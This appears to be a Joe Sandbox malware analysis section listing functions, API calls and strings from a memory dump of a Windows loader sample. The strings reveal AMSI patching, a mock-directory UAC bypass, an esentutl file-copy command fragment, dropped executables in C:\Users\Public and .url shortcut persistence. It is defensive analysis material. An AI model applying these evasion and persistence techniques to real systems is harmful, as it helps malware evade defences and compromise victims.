Part of subcall function 02B288B8: FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 02B28920

Sleep.KERNEL32(000003E8,ScanBuffer,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,UacScan,02B97380,02B3B7B8,000003E8,ScanBuffer,02B97380,02B3B7B8,UacScan,02B97380), ref: 02B34277

Part of subcall function 02B2894C: LoadLibraryW.KERNEL32(bcrypt,?,0000086C,00000000,02B973A8,02B2A587,ScanString,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,Initialize,02B973A8,02B2A93C,UacScan), ref: 02B28960
Part of subcall function 02B2894C: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02B2897A
Part of subcall function 02B2894C: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,0000086C,00000000,02B973A8,02B2A587,ScanString,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,Initialize), ref: 02B289B6

Sleep.KERNEL32(00004E20,UacScan,02B97380,02B3B7B8,ScanString,02B97380,02B3B7B8,ScanBuffer,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,UacInitialize,02B97380,02B3B7B8), ref: 02B350EE

Part of subcall function 02B2DC04: RtlI.N(?,?,00000000,02B2DC7E), ref: 02B2DC2C
Part of subcall function 02B2DC04: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,02B2DC7E), ref: 02B2DC42
Part of subcall function 02B2DC04: NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,02B2DC7E), ref: 02B2DC61

Part of subcall function 02B17E5C: GetFileAttributesA.KERNEL32(00000000,?,02B3041F,ScanString,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,ScanString,02B97380,02B3B7B8,UacScan,02B97380,02B3B7B8,UacInitialize), ref: 02B17E67

Part of subcall function 02B285BC: WinExec.KERNEL32(?,?), ref: 02B28624

Strings

OpenSession, xrefs: 02B34158, 02B34304, 02B34487, 02B348CB, 02B34AC0, 02B34C18, 02B34F00, 02B3517B, 02B352FB, 02B35634, 02B357CE, 02B3596E, 02B35B13, 02B35C87, 02B35ED7, 02B35F8B, 02B36248, 02B36340, 02B367EF, 02B36AC9, 02B36C3D, 02B36DD3, 02B36F83
HotKey=, xrefs: 02B36EE1
UacInitialize, xrefs: 02B34A44, 02B34E84, 02B350FF, 02B3553C, 02B358F2, 02B35DDF
.url, xrefs: 02B35D93
[InternetShortcut], xrefs: 02B36D48
C:\\Windows \\SysWOW64\\, xrefs: 02B34822
ScanBuffer, xrefs: 02B33FFB, 02B34202, 02B34380, 02B34503, 02B3457F, 02B34736, 02B34947, 02B34B3C, 02B34D8C, 02B34F7C, 02B351F7, 02B3546F, 02B356B0, 02B359EA, 02B35D03, 02B36083, 02B363BC, 02B36666, 02B3686B, 02B369D1, 02B36B45, 02B36BC1
IconIndex=, xrefs: 02B36DAD
URL=file:", xrefs: 02B36D57
UacUninitialize, xrefs: 02B33E1E, 02B3463E, 02B34C94, 02B35377
C:\Users\Public\pha.exe, xrefs: 02B3551B
C:\\Windows\\System32\\esentutl.exe /y , xrefs: 02B364AA
/d , xrefs: 02B364B5
C:\\Users\\Public\\Libraries\\, xrefs: 02B3616F
ScanString, xrefs: 02B33F03, 02B349C8, 02B34E08, 02B34FFD, 02B355B8, 02B35752, 02B35A97, 02B35E5B, 02B364F2, 02B36CD8, 02B36E4F, 02B36F07
C:\Users\Public\alpha.exe, xrefs: 02B354E5
/o, xrefs: 02B364C0
Initialize, xrefs: 02B35876, 02B35C0B, 02B36007, 02B361CC, 02B36438, 02B3656E, 02B36773
C:\\Windows \\SysWOW64\\per.exe, xrefs: 02B343F5
C:\Users\Public\CApha.exe, xrefs: 02B35500
C:\Users\Public\, xrefs: 02B35D88, 02B36FF3
UacScan, xrefs: 02B33F7F, 02B340DC, 02B34288, 02B3440B, 02B345DC, 02B346BA, 02B3484F, 02B34D10, 02B35079, 02B353F3, 02B35B8F, 02B360FF, 02B362C4, 02B365EA, 02B366F7, 02B36955, 02B36A4D
lld.SLITUTEN, xrefs: 02B3480C

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: Library$FilePath$FreeSleep$LoadNameName_$AddressAttributesCloseCreateDeleteExecProcWrite
String ID: /d $ /o$.url$C:\Users\Public\$C:\Users\Public\CApha.exe$C:\Users\Public\alpha.exe$C:\Users\Public\pha.exe$C:\\Users\\Public\\Libraries\\$C:\\Windows \\SysWOW64\\$C:\\Windows \\SysWOW64\\per.exe$C:\\Windows\\System32\\esentutl.exe /y $HotKey=$IconIndex=$Initialize$OpenSession$ScanBuffer$ScanString$URL=file:"$UacInitialize$UacScan$UacUninitialize$[InternetShortcut]$lld.SLITUTEN
API String ID: 2171786310-3926298568
Opcode ID: 40373a53e75ed6e3797e6fdfc6115cfdb8379e227bcd7151bcb12cb0faf1728d
Instruction ID: 3b8046325001ffe7cacf052f232e98a0afcbf1d8c94dbe614ebe35eb282a8c73
Opcode Fuzzy Hash: 40373a53e75ed6e3797e6fdfc6115cfdb8379e227bcd7151bcb12cb0faf1728d
Instruction Fuzzy Hash: 3143F875A0016D8FDB11EB64DD80ADE73B6FF85308F9041E6E109AB628DE30AE85DF51

Function 02B2E678 Relevance: 25.1, APIs: 3, Strings: 11, Instructions: 562
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02B289D0: FreeLibrary.KERNEL32(75380000,00000000,00000000,00000000,00000000,02B9738C,Function_0000662C,00000004,02B9739C,02B9738C,05F5E103,00000040,02B973A0,75380000,00000000,00000000), ref: 02B28AAA

Part of subcall function 02B28788: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02B28814

Part of subcall function 02B2894C: LoadLibraryW.KERNEL32(bcrypt,?,0000086C,00000000,02B973A8,02B2A587,ScanString,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,Initialize,02B973A8,02B2A93C,UacScan), ref: 02B28960
Part of subcall function 02B2894C: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02B2897A
Part of subcall function 02B2894C: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,0000086C,00000000,02B973A8,02B2A587,ScanString,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,Initialize), ref: 02B289B6

WaitForSingleObject.KERNEL32(00000000,000000FF,ScanString,02B97380,02B2EF4C,OpenSession,02B97380,02B2EF4C,UacScan,02B97380,02B2EF4C,ScanBuffer,02B97380,02B2EF4C,OpenSession,02B97380), ref: 02B2ED6E
CloseHandle.KERNEL32(00000000,00000000,000000FF,ScanString,02B97380,02B2EF4C,OpenSession,02B97380,02B2EF4C,UacScan,02B97380,02B2EF4C,ScanBuffer,02B97380,02B2EF4C,OpenSession), ref: 02B2ED76
CloseHandle.KERNEL32(0000084C,00000000,00000000,000000FF,ScanString,02B97380,02B2EF4C,OpenSession,02B97380,02B2EF4C,UacScan,02B97380,02B2EF4C,ScanBuffer,02B97380,02B2EF4C), ref: 02B2ED7F

Strings

NtOpenProcess, xrefs: 02B2EED1
ntdll, xrefs: 02B2EEC5, 02B2EED6
ScanBuffer, xrefs: 02B2EBE6, 02B2EE29
Initialize, xrefs: 02B2EB48, 02B2ED8B
Amsi, xrefs: 02B2E825
)"C:\Users\Public\Libraries\yihfsboC.cmd" , xrefs: 02B2E7F1, 02B2E9B3
ScanString, xrefs: 02B2E76A, 02B2E90F, 02B2EAD7, 02B2ECFF
AmsiOpenSession, xrefs: 02B2E814
NtSetSecurityObject, xrefs: 02B2EEC0
OpenSession, xrefs: 02B2E711, 02B2E8B6, 02B2EA66, 02B2EB97, 02B2EC8E, 02B2EDDA
UacScan, xrefs: 02B2E6B8, 02B2E85D, 02B2E9F5, 02B2EC35, 02B2EE78

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: Library$CloseFreeHandle$AddressCreateLoadObjectProcProcessSingleUserWait
String ID: )"C:\Users\Public\Libraries\yihfsboC.cmd" $Amsi$AmsiOpenSession$Initialize$NtOpenProcess$NtSetSecurityObject$OpenSession$ScanBuffer$ScanString$UacScan$ntdll
API String ID: 3475578485-1266785686
Opcode ID: ef751337df298150dfe6dc4fc987bb46440e269e92c2daed5db3e0f9d9fb0c75
Instruction ID: ee2e09baa7059692488029b4437e5f8af15874bee1075bc78e576d7dddd75aa0
Opcode Fuzzy Hash: ef751337df298150dfe6dc4fc987bb46440e269e92c2daed5db3e0f9d9fb0c75
Instruction Fuzzy Hash: 9722C375A0026D9FEB11FB65D881BCE73B6AF85300F9041E1A149EB254DB30EE49CF66

Function 02B11724 Relevance: 9.0, APIs: 7, Instructions: 289
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,02B12000), ref: 02B117D0
Sleep.KERNEL32(0000000A,00000000,?,02B12000), ref: 02B117E6

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 0ca9bd1b1e55afa0bba095f8255723665db62d9419609990163a9b08d2bfdbe1
Instruction ID: e98d19a584a4a14518f7b71833429673fc6a28459c8dd0196ed9c6544a041184
Opcode Fuzzy Hash: 0ca9bd1b1e55afa0bba095f8255723665db62d9419609990163a9b08d2bfdbe1
Instruction Fuzzy Hash: 3DB15372A203518BCB15CF2CE980315BBF1EB86394F59C6EED65D8B385C735A452CB90

Function 02B288B8 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(amsi), ref: 02B288C1

Part of subcall function 02B28274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
Part of subcall function 02B28274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
Part of subcall function 02B28274: GetProcAddress.KERNEL32(?,?), ref: 02B282D9

Part of subcall function 02B27D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B27DEC

FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 02B28920

Strings

amsi, xrefs: 02B288BC
DllGetClassObject, xrefs: 02B288E6
W, xrefs: 02B288CD

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: AddressLibraryProc$FreeHandleLoadMemoryModuleVirtualWrite
String ID: DllGetClassObject$W$amsi
API String ID: 941070894-2671292670
Opcode ID: 73abcdcff65fe1647ab81f3d83f67567c4d9565d551df570b8e744055f09e53f
Instruction ID: e7da6ab78f48232b107c71d9bf42d7596247465db451df0a5cebfbcc025119e1
Opcode Fuzzy Hash: 73abcdcff65fe1647ab81f3d83f67567c4d9565d551df570b8e744055f09e53f
Instruction Fuzzy Hash: 9DF0A45044C381B9E300E3748C45F4BBFCD4B62264F408A98B1ECAA2D2D679D1089B77

Function 02B11A8C Relevance: 7.7, APIs: 6, Instructions: 175
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,?,00000000,02B11FE4), ref: 02B11B17
Sleep.KERNEL32(0000000A,00000000,?,?,00000000,02B11FE4), ref: 02B11B31

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 2a8360d36b169dacd013ff447331c43ffa879f9cd7675f189318f26dcddb4d92
Instruction ID: ff043b244d0d6a75d583dfe07d5e3ff072b404c752661627741e3c0732ec4baa
Opcode Fuzzy Hash: 2a8360d36b169dacd013ff447331c43ffa879f9cd7675f189318f26dcddb4d92
Instruction Fuzzy Hash: B351EE71A212408FDB15CF6CCA84766BBE0EF4A314F9885EED648CB2C2E774C445CBA1

Function 02B2E4B6 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02B2E5F6

Strings

OpenSession, xrefs: 02B2E598
ScanBuffer, xrefs: 02B2E53F
Initialize, xrefs: 02B2E4E6

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 8605150bab238d34b3bb322b5d92511eeb0669703004dc3ed1fa2a87fbb62e13
Instruction ID: fe3f4b3cd23fe1894d469b33237c194177b442188e45fbcf903a8c4e727dda45
Opcode Fuzzy Hash: 8605150bab238d34b3bb322b5d92511eeb0669703004dc3ed1fa2a87fbb62e13
Instruction Fuzzy Hash: 8B413975B002189FEB01EBA4D881ADEB3FAEF88700FA044B6E145E7255DA70FD098F55

Function 02B285BA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46processCOMMON

Download Yara Rule

APIs

Part of subcall function 02B281CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B2823C,?,?,00000000,?,02B27A7E,ntdll,00000000,00000000,02B27AC3,?,?,00000000), ref: 02B2820A
Part of subcall function 02B281CC: GetModuleHandleA.KERNELBASE(?), ref: 02B2821E

Part of subcall function 02B28274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
Part of subcall function 02B28274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
Part of subcall function 02B28274: GetProcAddress.KERNEL32(?,?), ref: 02B282D9

WinExec.KERNEL32(?,?), ref: 02B28624

Strings

Kernel32, xrefs: 02B28607
WinExec, xrefs: 02B285D5

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: HandleModule$AddressProc$Exec
String ID: Kernel32$WinExec
API String ID: 2292790416-3609268280
Opcode ID: de4c438d1842c0d53df6f004f92959f147baa97e82033299aa8200b803261e8c
Instruction ID: 474f45942380282da43f5fc0f3f10ac7b2e9ad0c667e0a98645b595e1c511140
Opcode Fuzzy Hash: de4c438d1842c0d53df6f004f92959f147baa97e82033299aa8200b803261e8c
Instruction Fuzzy Hash: 560181B1694314BFEB01EFA4DC01F5A77FDE709700FA084A0F908D3650DA34AD159A25

Function 02B285BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45processCOMMON

Download Yara Rule

APIs

Part of subcall function 02B281CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B2823C,?,?,00000000,?,02B27A7E,ntdll,00000000,00000000,02B27AC3,?,?,00000000), ref: 02B2820A
Part of subcall function 02B281CC: GetModuleHandleA.KERNELBASE(?), ref: 02B2821E

Part of subcall function 02B28274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
Part of subcall function 02B28274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
Part of subcall function 02B28274: GetProcAddress.KERNEL32(?,?), ref: 02B282D9

WinExec.KERNEL32(?,?), ref: 02B28624

Strings

Kernel32, xrefs: 02B28607
WinExec, xrefs: 02B285D5

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: HandleModule$AddressProc$Exec
String ID: Kernel32$WinExec
API String ID: 2292790416-3609268280
Opcode ID: d0e22067127069d00553c8d87b508e1811c51134550d7c6342ed30fb074124b7
Instruction ID: 78092c23edb0741e8d385a2d3ff20ef1e16d16e6999086907ed04610de41314e
Opcode Fuzzy Hash: d0e22067127069d00553c8d87b508e1811c51134550d7c6342ed30fb074124b7
Instruction Fuzzy Hash: 2CF081B1694314BFEB01EFA4DC01F5A77FDE709700FA084A0F908D3650DA34AD159A25

Function 02B25C2C Relevance: 4.6, APIs: 3, Instructions: 105fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02B25D74,?,?,02B23900,00000001), ref: 02B25C88
GetLastError.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02B25D74,?,?,02B23900,00000001), ref: 02B25CB6

Part of subcall function 02B17D5C: CreateFileA.KERNEL32(00000000,00000000,00000000,00000000,00000003,00000080,00000000,?,?,02B23900,02B25CF6,00000000,02B25D74,?,?,02B23900), ref: 02B17DAA

Part of subcall function 02B17F98: GetFullPathNameA.KERNEL32(00000000,00000104,?,?,?,02B23900,02B25D11,00000000,02B25D74,?,?,02B23900,00000001), ref: 02B17FB7

GetLastError.KERNEL32(00000000,02B25D74,?,?,02B23900,00000001), ref: 02B25D1B

Part of subcall function 02B1A778: FormatMessageA.KERNEL32(00003200,00000000,?,00000000,?,00000100,00000000,?,02B1C3D9,00000000,02B1C433), ref: 02B1A797

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: CreateErrorFileLast$FormatFullMessageNamePath
String ID:
API String ID: 503785936-0
Opcode ID: 13e7a98b733bdc4edb4e1f54af0d21bdd78b6129ac47c76101a7bdc9c9f69107
Instruction ID: ff635de6bcd77280b2ddfe74b3658f7c21120d0ea72a1db5e3dac4963f45e944
Opcode Fuzzy Hash: 13e7a98b733bdc4edb4e1f54af0d21bdd78b6129ac47c76101a7bdc9c9f69107
Instruction Fuzzy Hash: 52319570E007189FDB10EFA4C945BDEBBF6AF09700FD041A5E504AB390DB756A058FA1

Function 02B2F212 Relevance: 4.6, APIs: 3, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,02C8BA58), ref: 02B2F258
RegSetValueExA.ADVAPI32(0000086C,00000000,00000000,00000001,00000000,0000001C,00000000,02B2F2C3), ref: 02B2F290
RegCloseKey.ADVAPI32(0000086C,0000086C,00000000,00000000,00000001,00000000,0000001C,00000000,02B2F2C3), ref: 02B2F29B

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: f7ac8511ed67d9011d622b1fb37030d9d1624884c990d6728317bfabeb952f58
Instruction ID: aaf8704048b86ca2001737db9a699a66b180aaff3b6f120fedb44d426fd9641c
Opcode Fuzzy Hash: f7ac8511ed67d9011d622b1fb37030d9d1624884c990d6728317bfabeb952f58
Instruction Fuzzy Hash: 8E110AB1A40208AFEB00EFA8DD81E9E7BFDEB09740B9045A1B614D7655EB30EE448F54

Function 02B2F214 Relevance: 4.6, APIs: 3, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,02C8BA58), ref: 02B2F258
RegSetValueExA.ADVAPI32(0000086C,00000000,00000000,00000001,00000000,0000001C,00000000,02B2F2C3), ref: 02B2F290
RegCloseKey.ADVAPI32(0000086C,0000086C,00000000,00000000,00000001,00000000,0000001C,00000000,02B2F2C3), ref: 02B2F29B

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: 7ee005d2cb1d7f3d4e43fee173dcea621e64e743096c6e28576a293a07628b1c
Instruction ID: c583a64b6425cf91fa3f8dd343c2bc0a43ac95fed810b29f680252759cda958d
Opcode Fuzzy Hash: 7ee005d2cb1d7f3d4e43fee173dcea621e64e743096c6e28576a293a07628b1c
Instruction Fuzzy Hash: 201106B1A40208AFEB00EFA8DD81E9E7BFDEB09740B9045A1B614D7655EB30EE448F54

Function 02B1E364 Relevance: 4.5, APIs: 3, Instructions: 45COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 02B1E373

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: a392d9e270fc91b1ba68ab055f0b80df070bc73b3a8ae4f5386a0c57aaab5823
Instruction ID: cf62b1e7ffc386619a5091bbe796d19930a87376fbd5c22f54b4b25ff03de1a5
Opcode Fuzzy Hash: a392d9e270fc91b1ba68ab055f0b80df070bc73b3a8ae4f5386a0c57aaab5823
Instruction Fuzzy Hash: B8F09660718110C7DB2A7B39AD8466D379AAF403407D094F6EC07DB155DF64CC85D762

Function 02B14D50 Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(02B2F4A4), ref: 02B14C6E
SysAllocStringLen.OLEAUT32(?,?), ref: 02B14D5B
SysFreeString.OLEAUT32(00000000), ref: 02B14D6D

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
